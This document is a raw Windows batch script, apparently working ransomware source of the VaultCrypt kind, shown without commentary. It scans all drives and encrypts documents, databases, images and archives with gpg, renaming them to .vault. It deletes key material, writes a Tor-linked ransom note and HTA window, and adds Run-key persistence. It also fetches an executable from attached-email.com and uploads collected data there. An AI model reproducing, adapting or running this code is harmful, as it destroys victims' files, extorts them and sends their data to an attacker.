"%temp%\59665d79.vbs" echo var cdp="%%TEMP%%\\69aca909.cmd";var WshShell=CreateObject("WScript.Shell");cdp=WshShell.ExpandEnvironmentStrings(cdp);function CreateObject(fq){return new ActiveXObject(fq)}function xx(cdp){WshShell.Run(cdp,0,0);}xx(''+cdp+'');> "%temp%\acda3f33.js" echo.> "%temp%\69aca909.cmd" echo SetLocal EnableDelayedExpansion>> "%temp%\69aca909.cmd" echo for /f "tokens=2*" %%%%i in ^('reg.exe query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion" /v "CurrentVersion"'^) do set fnd7=%%%%j>> "%temp%\69aca909.cmd" echo if not %%fnd7:~0,1%% GEQ 6 goto a3811a18>> "%temp%\69aca909.cmd" echo set ntries=^0>> "%temp%\69aca909.cmd" echo :3c843d11>> "%temp%\69aca909.cmd" echo wscript.exe //B //Nologo "%%temp%%\59665d79.vbs"^& tasklist^|findstr /i wmic.exe>> "%temp%\69aca909.cmd" echo if not ^^!errorlevel^^!==0 ^(>> "%temp%\69aca909.cmd" echo set /a ntries+=^1>> "%temp%\69aca909.cmd" echo if not ^^!ntries^^! GEQ 16 goto 3c843d11>> "%temp%\69aca909.cmd" echo ^)>> "%temp%\69aca909.cmd" echo :a3811a18>> "%temp%\69aca909.cmd" echo del /f /q "%temp%\acda3f33.js">> "%temp%\69aca909.cmd" echo del /f /q "%temp%\59665d79.vbs">> "%temp%\69aca909.cmd" echo echo del /f /q "%temp%\59665d79.vbs">> "%temp%\69aca909.cmd" echo echo 1107cc4c ^> "%%temp%%\69aca909.cmd">> "%temp%\69aca909.cmd" start wscript.exe //B //Nologo "%temp%\acda3f33.js" FOR %%f IN (ABCDEFGHIJKLMNOPQRSTU VWXYZ) DO call :c68cd952 %%f echo if exist "%%TeMp%%\VAULT.KEY" echo 02FNSH-OK^>^> "%%TeMp%%\VAULT.KEY">> "%temp%\61231f25.9db8b89a" echo if exist "%%AppDATA%%\VAULT.KEY" echo 02FNSH-OK^>^> "%%AppDATA%%\VAULT.KEY">> "%temp%\61231f25.9db8b89a" echo if exist "%%USERPROFILE%%\Desktop\VAULT.KEY" echo 02FNSH-OK^>^> "%%USERPROFILE%%\Desktop\VAULT.KEY">> "%temp%\61231f25.9db8b89a" goto 9b100e11 :c68cd952 dir /B "%1:\"&& for /r "%1:\" %%i in (*.pdf *.rtf) do ( echo "%%TeMp%%\gpg.exe" -r Cellar --yes -q --no-verbose --trust-model always --encrypt-files "%%i"^& move /y "%%i.gpg" "%%i"^& RENAME "%%i" "%%~nxi.vault">> "%temp%\61231f25.9db8b89a" echo %%i>> "%temp%\21b0fb7b.7ca0ec0c" ) goto:eof :9b100e11 FOR %%f IN (ABCDEFGHIJKLMNOPQRSTU VWXYZ) DO call :a556dfcb %%f echo if exist "%%TeMp%%\VAULT.KEY" echo 03FNSH-OK^>^> "%%TeMp%%\VAULT.KEY">> "%temp%\61231f25.9db8b89a" echo if exist "%%AppDATA%%\VAULT.KEY" echo 03FNSH-OK^>^> "%%AppDATA%%\VAULT.KEY">> "%temp%\61231f25.9db8b89a" echo if exist "%%USERPROFILE%%\Desktop\VAULT.KEY" echo 03FNSH-OK^>^> "%%USERPROFILE%%\Desktop\VAULT.KEY">> "%temp%\61231f25.9db8b89a" goto cd9f3e2a :a556dfcb dir /B "%1:\"&& for /r "%1:\" %%i in (*.psd *.dwg *.cdr) do ( echo "%%TeMp%%\gpg.exe" -r Cellar --yes -q --no-verbose --trust-model always --encrypt-files "%%i"^& move /y "%%i.gpg" "%%i"^& RENAME "%%i" "%%~nxi.vault">> "%temp%\61231f25.9db8b89a" echo %%i>> "%temp%\21b0fb7b.7ca0ec0c" ) goto:eof :cd9f3e2a FOR %%f IN (ABCDEFGHIJKLMNOPQRSTU VWXYZ) DO call :071faa5e %%f echo if exist "%%TeMp%%\VAULT.KEY" echo 04FNSH-OK^>^> "%%TeMp%%\VAULT.KEY">> "%temp%\61231f25.9db8b89a" echo if exist "%%AppDATA%%\VAULT.KEY" echo 04FNSH-OK^>^> "%%AppDATA%%\VAULT.KEY">> "%temp%\61231f25.9db8b89a" echo if exist "%%USERPROFILE%%\Desktop\VAULT.KEY" echo 04FNSH-OK^>^> "%%USERPROFILE%%\Desktop\VAULT.KEY">> "%temp%\61231f25.9db8b89a" goto e0aede1c :071faa5e dir /B "%1:\"&& for /r "%1:\" %%i in (*.cd *.mdb *.1cd *.dbf *.sqlite) do ( echo "%%TeMp%%\gpg.exe" -r Cellar --yes -q --no-verbose --trust-model always --encrypt-files "%%i"^& move /y "%%i.gpg" "%%i"^& RENAME "%%i" "%%~nxi.vault">> "%temp%\61231f25.9db8b89a" echo %%i>> "%temp%\21b0fb7b.7ca0ec0c" ) goto:eof :e0aede1c FOR %%s IN (ABCDEFGHIJKLMNOPQRSTU VWXYZ) DO call :f941ecc1 %%s echo if exist "%%TeMp%%\VAULT.KEY" echo 05FNSH-OK^>^> "%%TeMp%%\VAULT.KEY">> "%temp%\61231f25.9db8b89a" echo if exist "%%AppDATA%%\VAULT.KEY" echo 05FNSH-OK^>^> "%%AppDATA%%\VAULT.KEY">> "%temp%\61231f25.9db8b89a" echo if exist "%%USERPROFILE%%\Desktop\VAULT.KEY" echo 05FNSH-OK^>^> "%%USERPROFILE%%\Desktop\VAULT.KEY">> "%temp%\61231f25.9db8b89a" goto ca70214e :f941ecc1 dir /B "%1:\"&& for /r "%1:\" %%i in (*.jpg *.zip) do ( echo "%%TeMp%%\gpg.exe" -r Cellar --yes -q --no-verbose --trust-model always --encrypt-files "%%i"^& move /y "%%i.gpg" "%%i"^& RENAME "%%i" "%%~nxi.vault">> "%temp%\61231f25.9db8b89a" echo %%i>> "%temp%\21b0fb7b.7ca0ec0c" ) goto:eof :ca70214e set loco=!random!!random! echo function CreateObject^(b^){return new ActiveXObject^(b^)} >> !loco!.js echo function ok^(b^){var c=new ActiveXObject^("MSXML2.XMLHTTP"^);c.open^("GET",b,0^);c.send^(^)} >> !loco!.js echo ok^("http://attached-email.com/c1.php"^); >> !loco!.js wscript.exe //B //nologo //T:40 "!loco!.js" echo echo FHASH-OK^>^> "%%TeMp%%\VAULT.KEY">> "%temp%\61231f25.9db8b89a" echo echo FHASH-OK^>^> "%%AppDATA%%\VAULT.KEY">> "%temp%\61231f25.9db8b89a" echo echo FHASH-OK^>^> "%%USERPROFILE%%\Desktop\VAULT.KEY">> "%temp%\61231f25.9db8b89a" echo echo 1e759748 ^> "%%TeMp%%\4c2e533d.cmd">> "%temp%\61231f25.9db8b89a" echo del /f /q "%%TeMp%%\4c2e533d.cmd">> "%temp%\61231f25.9db8b89a" findstr /i /v "windows recycle program avatar roaming msoffice temporary sample themes uploads csize resource internet com_ intel common resources texture profiles library clipart manual games framework64 setupcache autograph maps amd64 cache support guide abbyy application thumbnails avatars template adobe" "%temp%\21b0fb7b.7ca0ec0c"> "%temp%\97cf86b0.e479bce7" findstr /i /v "windows recycle program avatar roaming msoffice temporary sample themes uploads csize resource internet com_ intel common resources texture profiles library clipart manual games framework64 setupcache autograph maps amd64 cache support guide abbyy application thumbnails avatars template adobe" "%temp%\61231f25.9db8b89a"> "%temp%\f2a431bc.6ccc04ec" findstr /v "AppData APPDATA appdata temp TEMP Temp" "%temp%\97cf86b0.e479bce7"> "%temp%\8f9c3dbb.9767d548" findstr /v "AppData APPDATA appdata temp TEMP Temp" "%temp%\f2a431bc.6ccc04ec"> "%temp%\4c2e533d.cmd" del /f /q "%temp%\97cf86b0.e479bce7" del /f /q "%temp%\f2a431bc.6ccc04ec" del /f /q "%temp%\21b0fb7b.7ca0ec0c" del /f /q "%temp%\61231f25.9db8b89a" echo XCONF: !58d179b8!>> "%temp%\3637bf69.36ddf8fe" set 3a3b7af1=66668 for /f %%f in ('find /c /v ""^< "%temp%\8f9c3dbb.9767d548"') do ( set 3a3b7af1=%%f ) echo QNTTY: !3a3b7af1!>> "%temp%\3637bf69.36ddf8fe" for %%c IN (01:xls 04:doc 05:rtf 10:pdf 11:psd 12:dwg 13:cdr 19:cd 20:mdb 21:1cd 23:dbf 24:sqlite 26:jpg 27:zip) do ( for /f "tokens=1,2 delims=:" %%i in ("%%c") do ( for /f %%b in ('find /c /i ".%%j"^< "%temp%\8f9c3dbb.9767d548"') do ( echo %%iEXT: %%b>> "%temp%\3637bf69.36ddf8fe" ))) echo 02EXT: 0 >> "%temp%\3637bf69.36ddf8fe" echo 03EXT: 0 >> "%temp%\3637bf69.36ddf8fe" echo 06EXT: 0 >> "%temp%\3637bf69.36ddf8fe" echo 07EXT: 0 >> "%temp%\3637bf69.36ddf8fe" echo 08EXT: 0 >> "%temp%\3637bf69.36ddf8fe" echo 09EXT: 0 >> "%temp%\3637bf69.36ddf8fe" echo 14EXT: 0 >> "%temp%\3637bf69.36ddf8fe" echo 15EXT: 0 >> "%temp%\3637bf69.36ddf8fe" echo 16EXT: 0 >> "%temp%\3637bf69.36ddf8fe" echo 17EXT: 0 >> "%temp%\3637bf69.36ddf8fe" echo 18EXT: 0 >> "%temp%\3637bf69.36ddf8fe" echo 22EXT: 0 >> "%temp%\3637bf69.36ddf8fe" echo 25EXT: 0 >> "%temp%\3637bf69.36ddf8fe" echo 28EXT: 0 >> "%temp%\3637bf69.36ddf8fe" echo 29EXT: 0 >> "%temp%\3637bf69.36ddf8fe" echo.>> "%temp%\8f9c3dbb.9767d548" echo XCONF: !58d179b8!>> "%temp%\8f9c3dbb.9767d548" del /f /q "!loco!.js" "%temp%\gpg.exe" --import "%temp%\03dfb98e.7087b06e" del /f /q "%temp%\03dfb98e.7087b06e" "%temp%\gpg.exe" -r VaultCrypt --yes -q --no-verbose --trust-model always -o "%temp%\VAULT.KEY" -e "%temp%\3637bf69.36ddf8fe" "%temp%\gpg.exe" -r VaultCrypt --yes -q --no-verbose --trust-model always -o "%temp%\CONFIRMATION.KEY" -e "%temp%\8f9c3dbb.9767d548" if not exist "%temp%\VAULT.KEY" ( "%temp%\gpg.exe" -r VaultCrypt --yes -q --no-verbose --trust-model always --encrypt-files "%temp%\3637bf69.36ddf8fe" RENAME "%temp%\3637bf69.36ddf8fe.gpg" VAULT.KEY ) if not exist "%temp%\CONFIRMATION.KEY" ( "%temp%\gpg.exe" -r VaultCrypt --yes -q --no-verbose --trust-model always --encrypt-files "%temp%\8f9c3dbb.9767d548" RENAME "%temp%\8f9c3dbb.9767d548.gpg" CONFIRMATION.KEY ) if not exist "%temp%\VAULT.KEY" ( del /f /q "%temp%\*.vlt" del /f /q "%temp%\*.gpg" del /f /q "%temp%\random_seed" del /f /q "%temp%\*.lock" del /f /q "%temp%\*.bak" del /f /q "%temp%\*.list" goto 6d0f24b8 ) echo.>> "%temp%\VAULT.KEY" echo 01FNSH-!715c7be3!>> "%temp%\VAULT.KEY" echo 02FNSH-!b67b5d00!>> "%temp%\VAULT.KEY" echo 03FNSH-!db5a2d8a!>> "%temp%\VAULT.KEY" echo 04FNSH-!dc841a88!>> "%temp%\VAULT.KEY" echo 05FNSH-!ee1f189d!>> "%temp%\VAULT.KEY" echo FHASH-!2162ea2b!>> "%temp%\VAULT.KEY" echo 77406a1e885873e930cb056a91c09c60 25ca7a7cd21f132ab320494e> "%temp%\secring.qpq" echo 9767d5483a3b7af1 6d0f24b86d997bc025ca7a7c7bff218e4077430c>> "%temp%\secring.qpq" echo 9767d548 3a3b7af16d0f24b8 6d997bc025ca7a7c 7bff218e4077430c>> "%temp%\secring.qpq" echo 59665d79acda3f3369aca9093c843d11 a3811a181107cc4cc68cd952>> "%temp%\secring.qpq" echo 071faa5ef941ecc1 ca70214e1e7597484c2e533d97cf86b0e479bce7>> "%temp%\secring.qpq" echo acda3f33 ca70214e 91c09c6030cb056a cb2f4cf2 7bff218e4077430c>> "%temp%\secring.qpq" move /y "%temp%\secring.qpq" "%temp%\secring.gpg" echo 9767d548 3a3b7af16d0f24b8 6d997bc025ca7a7c 7bff218e4077430c> "%temp%\36ddf8fe3637bf69.qpq" echo 071faa5ef941ecc1 ca70214e1e7597484c2e533d97cf86b0e479bce7>> "%temp%\36ddf8fe3637bf69.qpq" echo 59665d79acda3f3369aca9093c843d11 a3811a181107cc4cc68cd952>> "%temp%\36ddf8fe3637bf69.qpq" echo 071faa5ef941ecc1 ca70214e1e7597484c2e533d97cf86b0e479bce7>> "%temp%\36ddf8fe3637bf69.qpq" echo acda3f33 ca70214e 91c09c6030cb056a cb2f4cf2 7bff218e4077430c>> "%temp%\36ddf8fe3637bf69.qpq" echo 59665d79acda3f3369aca9093c843d11 a3811a181107cc4cc68cd952>> "%temp%\36ddf8fe3637bf69.qpq" echo 77406a1e885873e930cb056a91c09c60 25ca7a7cd21f132ab320494e>> "%temp%\36ddf8fe3637bf69.qpq" echo 9767d5483a3b7af1 6d0f24b86d997bc025ca7a7c7bff218e4077430c>> "%temp%\36ddf8fe3637bf69.qpq" move /y "%temp%\36ddf8fe3637bf69.qpq" "%temp%\3637bf69.36ddf8fe" echo 59665d79acda3f3369aca9093c843d11 a3811a181107cc4cc68cd952> "%temp%\9767d5488f9c3dbb.qpq" echo 9767d5483a3b7af1 6d0f24b86d997bc025ca7a7c7bff218e4077430c>> "%temp%\9767d5488f9c3dbb.qpq" echo 77406a1e885873e930cb056a91c09c60 25ca7a7cd21f132ab320494e>> "%temp%\9767d5488f9c3dbb.qpq" move /y "%temp%\9767d5488f9c3dbb.qpq" "%temp%\8f9c3dbb.9767d548" del /f /q "%temp%\secring.gpg" del /f /q "%temp%\3637bf69.36ddf8fe" del /f /q "%temp%\8f9c3dbb.9767d548" del /f /q "%temp%\21b0fb7b.7ca0ec0c" del /f /q "%temp%\random_seed" del /f /q "%temp%\trustdb.gpg" del /f /q "%temp%\secring.gpg" del /f /q "%temp%\*.lock" del /f /q "%temp%\*.bak" attrib -s -h -r "%AppData%\gnupg\*.*" attrib -s -h -r "%AppData%\gnupg" del /f /q "%AppData%\gnupg\*.*" rmdir /s /q "%AppData%\gnupg" copy /y "%temp%\CONFIRMATION.KEY" "%appdata%\CONFIRMATION.KEY" copy /y "%temp%\VAULT.KEY" "%appdata%\VAULT.KEY" copy /y "%temp%\VAULT.KEY" "%temp%\4077430c_VAULT.KEY" echo 01FNSH-OK>> "%temp%\4077430c_VAULT.KEY" echo 02FNSH-OK>> "%temp%\4077430c_VAULT.KEY" echo 03FNSH-OK>> "%temp%\4077430c_VAULT.KEY" echo 04FNSH-OK>> "%temp%\4077430c_VAULT.KEY" echo 05FNSH-OK>> "%temp%\4077430c_VAULT.KEY" echo FHASH-OK>> "%temp%\4077430c_VAULT.KEY" attrib +r "%temp%\4077430c_VAULT.KEY" copy /y "%temp%\VAULT.KEY" "%userprofile%\Desktop\VAULT.KEY" echo.> "%temp%\VAULT.txt" echo            .vult >> "%temp%\VAULT.txt" echo       >> "%temp%\VAULT.txt" echo.>> "%temp%\VAULT.txt" echo   : >> "%temp%\VAULT.txt" echo.>> "%temp%\VAULT.txt" echo >> "%temp%\VAULT.txt" echo 1.    ->> "%temp%\VAULT.txt" echo 2.    >> "%temp%\VAULT.txt" echo 3.     >> "%temp%\VAULT.txt" echo.>> "%temp%\VAULT.txt" echo >> "%temp%\VAULT.txt" echo  1:>> "%temp%\VAULT.txt" echo  Tor    : http://torproject.org>> "%temp%\VAULT.txt" echo  2:>> "%temp%\VAULT.txt" echo  Tor   : http://restoredz4xpmuqr.onion>> "%temp%\VAULT.txt" echo  3:>> "%temp%\VAULT.txt" echo    VAULT.KEY   -      -.   >> "%temp%\VAULT.txt" echo      VAULT.KEY>> "%temp%\VAULT.txt" echo    FAQ     >> "%temp%\VAULT.txt" echo STEP 4:>> "%temp%\VAULT.txt" echo   ,                 >> "%temp%\VAULT.txt" echo.>> "%temp%\VAULT.txt" echo >> "%temp%\VAULT.txt" echo a^)         ^(     ^)>> "%temp%\VAULT.txt" echo b^)       VAULT.KEY,     TEMP >> "%temp%\VAULT.txt" echo c^)     ,   >> "%temp%\VAULT.txt" echo.>> "%temp%\VAULT.txt" echo  : %date% ^(%time:~0,5%^)>> "%temp%\VAULT.txt" copy /y "%temp%\VAULT.txt" "%userprofile%\Desktop\vault.txt" attrib +h "%userprofile%\Desktop\vault.txt" echo var cdp="%%TeMp%%\\4c2e533d.cmd";var WshShell=CreateObject("WScript.Shell");cdp=WshShell.ExpandEnvironmentStrings(cdp);function CreateObject(fq){return new ActiveXObject(fq)}function xx(cdp){WshShell.Run(cdp,0,0);}xx(''+cdp+'');>> "%temp%\e33176c1.js" "%TEMP%\gpg.exe" --import "%TEMP%\pubring.gpg" reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "e1a04a3c" /t REG_SZ /f /d "notepad %temp%\VAULT.txt" reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "ed3f074a" /t REG_SZ /f /d "attrib -h %userprofile%\Desktop\vault.txt" reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "58f139df" /t REG_SZ /f /d "wscript //B //Nologo %temp%\e33176c1.js" call "%temp%\4c2e533d.cmd" echo ^<html^>^<head^>^<hta:application BORDER = "none" CAPTION = "No" CONTEXTMENU = "Yes" INNERBORDER = "No" MAXIMIZEBUTTON = "No" MINIMIZEBUTTON = "No" NAVIGABLE = "No" SCROLL = "No" SCROLLFLAT = "No" SELECTION = "Yes" SHOWINTASKBAR = "No" SINGLEINSTANCE = "Yes" SYSMENU = "No"/^>^<style^>body{cursor:default;background-color:#E7E7E7;margin:0;font-family:"HelveticaNeue-Light","Helvetica Neue Light","Helvetica Neue",Helvetica,Arial,sans-serif;text-align:center;background-image:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABoAAAAaAgMAAADUJKRdAAAACVBMVEXs7Ozv7+/6+vqH/Ct2AAAAW0lEQVQI11WOsQ2DABADv8gAGQFd4SJTZARGQC5cMBX1T0mD4ClP9lmutf71qW/t3d19VBLDcrNR7KV+F4Mx28OKyMzf/UDINvYADR9A08cwfcnjDwmarOBn7wSqEUpFZuJdBQAAAABJRU5ErkJggg==)}.vaustyle{margin:10px;height:520px;width:1100px}.sc{margin:10px 150px;font-size:40px;width:900px;padding:20px;background-color:#7a7a7a;color:#FF4C4C;background-image:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAUAAAAFCAYAAACNbyblAAAAJ0lEQVR42mXMsQkAAAzDMH+S/69M6VAoeAgGDQFIW/4QQARbwaF+B3+SPGAo8blgAAAAAElFTkSuQmCC)}.briefly{position:absolute;left:50px;width:480px}.detailed{display:inline-block;margin-left:530px;width:660px}.bti{background-color:#DFDFDF;color:#555;font-size:28px;padding:10px}hr{width:90%%}.sced{margin-top:15px;text-align:center;font-size:27px;height:220px;padding:20px;background-color:#6a6a6a;line-height:1.5;color:#EAEAEA;background-image:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAUAAAAFCAYAAACNbyblAAAAJ0lEQVR42mXMsQkAAAzDMH+S/69M6VAoeAgGDQFIW/4QQARbwaF+B3+SPGAo8blgAAAAAElFTkSuQmCC)}form{display:inline}.dbutt{margin-left:2px;font-size:16px;font-weight:500;border:none;background-color:#9f9f9f;color:#EEE;cursor:pointer}.footer{text-align:left;position:relative;width:600px;margin:2px 2px 2px 45px;height:16px;font-size:15px;background-color:#CFCFCF;color:#444;padding:6px}.fnl{font-size:21px}^</style^>^<meta http-equiv="Content-Type" content="text/html;charset=utf-8"/^>^<title^>Vault Notification^</title^>^<script language="vbscript"^>> "%temp%\ddae25beb5b57d6e.hta" echo sub Window_Onload>> "%temp%\ddae25beb5b57d6e.hta" echo window.resizeTo 1280,725>> "%temp%\ddae25beb5b57d6e.hta" echo screenWidth = Document.ParentWindow.Screen.AvailWidth>> "%temp%\ddae25beb5b57d6e.hta" echo screenHeight = Document.ParentWindow.Screen.AvailHeight>> "%temp%\ddae25beb5b57d6e.hta" echo posLeft = (screenWidth - 1280) / 2 >> "%temp%\ddae25beb5b57d6e.hta" echo posTop = (screenHeight - 725) / 2 >> "%temp%\ddae25beb5b57d6e.hta" echo window.moveTo posLeft, posTop >> "%temp%\ddae25beb5b57d6e.hta" echo end sub >> "%temp%\ddae25beb5b57d6e.hta" echo ^</script^>^</head^>^<body scroll="no"^>^<div class="vaustyle"^>^<div class="sc"^>         ^<br^>^☢^ ^<b^> .VAULT^</b^>^ ^☢^</div^>^<div class="sc" style="font-size:20px;width:800px;margin-left:200px;color:#EAEAEA;"^>     ^<b^> ^</b^>^</div^>^<br^>^<div class="briefly"^>^<div class="bti"^>^<b^>:^</b^>^</div^>^<div class="sced"^>  3 :^<hr^> ^➠    -^<br^> ^Ⓑ   ^<br^>^⤷ ^<b^> ^</b^>^</div^>^</div^>^<div class="detailed"^>^<div class="bti"^>^<b^>:^</b^>^</div^>^<div class="sced"^> ^<b^>Tor^</b^>   .  ^<form action="http://dist.torproject.org/torbrowser/4.5.2/torbrowser-install-4.5.2_ru.exe"^>^<input class="dbutt" type="submit" value="⇣ "^>^</form^>^<form action="https://www.torproject.org/projects/torbrowser.html.en#windows"^>^<input class="dbutt" type="submit" value="Help" style="padding-bottom:1px;"^>^</form^>^<hr^>    ^<b^> Tor^</b^>:^<br^>^<div class="bti" style="margin:1px 8%%;padding:0px;cursor:text;"^>http://restoredz4xpmuqr.onion^</div^>^<form action="http://pastebin.com/rs7jZ0TW"^>^<input class="dbutt" type="submit" value=" ?"^>^ ^⤴^</form^>^<hr^>^<div class="fnl"^> ^ ^➤^  ^<b^> ^</b^> ^ ^➤^  ^</div^>^</div^>^<div class="footer"^>^<b^>Note 1:^</b^>        .^</div^>^<div class="footer"^>^<b^>Note 2:^</b^>  ,  ^<u^>^</u^>   ^<b^>VAULT.KEY^</b^>  .^</div^>^<div class="footer"^>^<b^>Note 3:       ^</div^>^</div^>^</body^>^</html^>>> "%temp%\ddae25beb5b57d6e.hta" copy /y "%temp%\ddae25beb5b57d6e.hta" "%appdata%\ddae25beb5b57d6e.hta" del /f /q "%temp%\4c2e533d.cmd" attrib +h "%appdata%\ddae25beb5b57d6e.hta" attrib +r +s "%temp%\VAULT.KEY" attrib +r +s "%appdata%\VAULT.KEY" attrib +r +s "%userprofile%\Desktop\VAULT.KEY" :6d0f24b8 echo do_vbsUpload > "%temp%\77406a1e.vbs" echo Sub do_vbsUpload^(^) >> "%temp%\77406a1e.vbs" echo Dim FileName,DestURL,FieldName >> "%temp%\77406a1e.vbs" echo FieldName="FileField" >> "%temp%\77406a1e.vbs" echo Dim aCounter,Arg >> "%temp%\77406a1e.vbs" echo aCounter=1 >> "%temp%\77406a1e.vbs" echo For Each Arg In WScript.Arguments >> "%temp%\77406a1e.vbs" echo Select Case aCounter >> "%temp%\77406a1e.vbs" echo Case 1: FileName=Arg >> "%temp%\77406a1e.vbs" echo Case 2: DestURL=Arg >> "%temp%\77406a1e.vbs" echo Case 3: FieldName=Arg >> "%temp%\77406a1e.vbs" echo End Select >> "%temp%\77406a1e.vbs" echo aCounter=aCounter+1 >> "%temp%\77406a1e.vbs" echo Next >> "%temp%\77406a1e.vbs" echo UploadFile DestURL,FileName,FieldName >> "%temp%\77406a1e.vbs" echo End Sub >> "%temp%\77406a1e.vbs" echo Sub UploadFile^(DestURL,FileName,FieldName^) >> "%temp%\77406a1e.vbs" echo Const Boundary="---------------------------0123456789012" >> "%temp%\77406a1e.vbs" echo Dim FileContents,FormData >> "%temp%\77406a1e.vbs" echo FileContents=GetFile^(FileName^) >> "%temp%\77406a1e.vbs" echo FormData=BuildFormData^(FileContents,Boundary,FileName,FieldName^) >> "%temp%\77406a1e.vbs" echo IEPostBinaryRequest DestURL,FormData,Boundary >> "%temp%\77406a1e.vbs" echo End Sub >> "%temp%\77406a1e.vbs" echo Function BuildFormData^(FileContents,Boundary,FileName,FieldName^) >> "%temp%\77406a1e.vbs" echo Dim FormData,Pre,Po >> "%temp%\77406a1e.vbs" echo Const ContentType="application/upload" >> "%temp%\77406a1e.vbs" echo Pre="--"+Boundary+vbCrLf+mpFields^(FieldName,FileName,ContentType^) >> "%temp%\77406a1e.vbs" echo Po=vbCrLf+"--"+Boundary+"--"+vbCrLf >> "%temp%\77406a1e.vbs" echo Const adLongVarBinary=205 >> "%temp%\77406a1e.vbs" echo Dim RS: Set RS=CreateObject^("ADODB.Recordset"^) >> "%temp%\77406a1e.vbs" echo RS.Fields.Append "b",adLongVarBinary,Len^(Pre^)+LenB^(FileContents^)+Len^(Po^) >> "%temp%\77406a1e.vbs" echo RS.Open >> "%temp%\77406a1e.vbs" echo RS.AddNew >> "%temp%\77406a1e.vbs" echo Dim LenData >> "%temp%\77406a1e.vbs" echo LenData=Len^(Pre^) >> "%temp%\77406a1e.vbs" echo RS^("b"^).AppendChunk^(StringToMB^(Pre^) ^& ChrB^(0^)^) >> "%temp%\77406a1e.vbs" echo Pre=RS^("b"^).GetChunk^(LenData^) >> "%temp%\77406a1e.vbs" echo RS^("b"^)="" >> "%temp%\77406a1e.vbs" echo LenData=Len^(Po^) >> "%temp%\77406a1e.vbs" echo RS^("b"^).AppendChunk^(StringToMB^(Po^) ^& ChrB^(0^)^) >> "%temp%\77406a1e.vbs" echo Po=RS^("b"^).GetChunk^(LenData^) >> "%temp%\77406a1e.vbs" echo RS^("b"^)="" >> "%temp%\77406a1e.vbs" echo RS^("b"^).AppendChunk^(Pre^) >> "%temp%\77406a1e.vbs" echo RS^("b"^).AppendChunk^(FileContents^) >> "%temp%\77406a1e.vbs" echo RS^("b"^).AppendChunk^(Po^) >> "%temp%\77406a1e.vbs" echo RS.Update >> "%temp%\77406a1e.vbs" echo FormData=RS^("b"^) >> "%temp%\77406a1e.vbs" echo RS.Close >> "%temp%\77406a1e.vbs" echo BuildFormData=FormData >> "%temp%\77406a1e.vbs" echo End Function >> "%temp%\77406a1e.vbs" echo Function IEPostBinaryRequest^(URL,FormData,Boundary^) >> "%temp%\77406a1e.vbs" echo Dim IE: Set IE=CreateObject^("InternetExplorer.Application"^) >> "%temp%\77406a1e.vbs" echo IE.Navigate URL,,,FormData,_ >> "%temp%\77406a1e.vbs" echo "Content-Type: multipart/form-data; boundary="+Boundary+vbCrLf >> "%temp%\77406a1e.vbs" echo do While IE.Busy >> "%temp%\77406a1e.vbs" echo Wait >> "%temp%\77406a1e.vbs" echo Loop >> "%temp%\77406a1e.vbs" echo On Error Resume Next >> "%temp%\77406a1e.vbs" echo IEPostBinaryRequest=IE.Document.body.innerHTML >> "%temp%\77406a1e.vbs" echo IE.Quit >> "%temp%\77406a1e.vbs" echo End Function >> "%temp%\77406a1e.vbs" echo Function mpFields^(FieldName,FileName,ContentType^) >> "%temp%\77406a1e.vbs" echo Dim MPtemplate >> "%temp%\77406a1e.vbs" echo MPtemplate="Content-Disposition: form-data; name=""{field}"";"+_ >> "%temp%\77406a1e.vbs" echo " filename=""{file}"""+vbCrLf+_ >> "%temp%\77406a1e.vbs" echo "Content-Type: {ct}"+vbCrLf+vbCrLf >> "%temp%\77406a1e.vbs" echo Dim Out >> "%temp%\77406a1e.vbs" echo Out=Replace^(MPtemplate,"{field}",FieldName^) >> "%temp%\77406a1e.vbs" echo Out=Replace^(Out,"{file}",FileName^) >> "%temp%\77406a1e.vbs" echo mpFields=Replace^(Out,"{ct}",ContentType^) >> "%temp%\77406a1e.vbs" echo End Function >> "%temp%\77406a1e.vbs" echo Function GetFile^(FileName^) >> "%temp%\77406a1e.vbs" echo Dim Stream: Set Stream=CreateObject^("ADODB.Stream"^) >> "%temp%\77406a1e.vbs" echo Stream.Type=1 >> "%temp%\77406a1e.vbs" echo Stream.Open >> "%temp%\77406a1e.vbs" echo Stream.LoadFromFile FileName >> "%temp%\77406a1e.vbs" echo GetFile=Stream.Read >> "%temp%\77406a1e.vbs" echo Stream.Close >> "%temp%\77406a1e.vbs" echo End Function >> "%temp%\77406a1e.vbs" echo Function StringToMB^(S^) >> "%temp%\77406a1e.vbs" echo Dim I,B >> "%temp%\77406a1e.vbs" echo For I=1 To Len^(S^) >> "%temp%\77406a1e.vbs" echo B=B ^& ChrB^(Asc^(Mid^(S,I,1^)^)^) >> "%temp%\77406a1e.vbs" echo Next >> "%temp%\77406a1e.vbs" echo StringToMB=B >> "%temp%\77406a1e.vbs" echo End Function >> "%temp%\77406a1e.vbs" echo Sub Wait^(^) >> "%temp%\77406a1e.vbs" echo On Error Resume Next >> "%temp%\77406a1e.vbs" echo End Sub >> "%temp%\77406a1e.vbs" echo var fp="%%temp%%\\",os="attached-email",WshShell=CreateObject^("WScript.Shell"^),fp=WshShell.ExpandEnvironmentStrings^(fp^);function CreateObject^(b^){return new ActiveXObject^(b^)}function dw^(b,d^){var c=new ActiveXObject^("MSXML2.XMLHTTP"^);c.open^("GET",b,0^);c.send^(^);new ActiveXObject^("Scripting.FileSystemObject"^);var a=new ActiveXObject^("ADODB.Stream"^);a.Open^(^);a.Type=1;a.Write^(c.ResponseBody^);a.Position=0;a.SaveToFile^(d,2^);a.Close^(^)}dw^("http://"+os+".com/v.vlt",""+fp+"30cb056a.exe"^); > "%temp%\885873e9.js" wscript.exe //B //Nologo //T:120 "%temp%\885873e9.js" if exist 30cb056a.exe ( "%temp%\30cb056a.exe" -f "%temp%\91c09c60.25ca7a7c" wscript.exe //B //Nologo //T:120 "%temp%\77406a1e.vbs" "%temp%\91c09c60.25ca7a7c" http://attached-email.com/v.php pf del /f /q 30cb056a.exe ) del /f /q "%temp%\885873e9.js" del /f /q "%temp%\77406a1e.vbs" del /f /q "%temp%\91c09c60.25ca7a7c" attrib -h -s "%temp%\9480bf43.76a94786" del /f /q "%temp%\9480bf43.76a94786" del /f /q "%temp%\*.gpg" del /f /q "%temp%\*.*xe" echo Y|assoc .vault=d21f132a echo 